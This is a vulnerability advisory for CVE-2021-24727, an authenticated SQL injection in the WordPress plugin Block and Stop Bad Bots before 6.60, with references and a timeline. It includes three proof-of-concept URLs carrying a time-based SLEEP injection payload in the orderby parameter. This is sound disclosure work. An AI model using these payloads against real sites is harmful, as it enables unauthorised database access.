Block and Stop Bad Bots < 6.60 – Authenticated SQL Injections | CVE 2021-24727 | Plugin Vulnerabilities

Description

The plugin did not validate or escape the order and orderby GET parameter in some of its admin dashboard pages, leading to Authenticated SQL Injections

Proof of Concept

https://example.com/wp-admin/admin.php?page=sbb_my-custom-submenu-page&orderby=1+AND+%28SELECT+4242+FROM+%28SELECT%28SLEEP%285%29%29%29aaa%29&order=asc

https://example.com/wp-admin/admin.php?page=sbb_my-custom-submenu-page2&orderby=1+AND+%28SELECT+4242+FROM+%28SELECT%28SLEEP%285%29%29%29aaa%29&order=asc

https://example.com/wp-admin/admin.php?page=sbb_my-custom-submenu-page3&orderby=1+AND+%28SELECT+4242+FROM+%28SELECT%28SLEEP%285%29%29%29aaa%29&order=asc

Affects Plugins

Fixed in 6.60

References

CVE

URL

https://plugins.trac.wordpress.org/changeset/2576276/

URL

https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=29174

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Martin Vierula of Trustwave

Verified

Yes

WPVDB ID

ffa1f718-f2c5-48ef-8eea-33a18a628a2c

Timeline

Publicly Published

2021-08-06 (about 4 years ago)

Added

2021-08-09 (about 4 years ago)

Last Updated

2023-01-25 (about 2 years ago)

Other

Published

Title

Published

2014-08-01

Title

PureHTML <= 1.0.0 - SQL Injection

Published

2024-01-03

Title

pTypeConverter <= 0.2.8.1 - Authenticated (Editor+) SQL Injection

Published

2023-12-21

Title

Welcart e-Commerce < 2.9.4 - Authenticated(Editor+) SQL Injection

Published

2022-11-30

Title

IWS - Geo Form Fields <= 1.0 - Unauthenticated SQLi

Published

2025-10-23

Title

URL Shortener Plugin For WordPress <= 3.0.7 - Missing Authorization to Authenticated (Subscriber+) Link Manipulation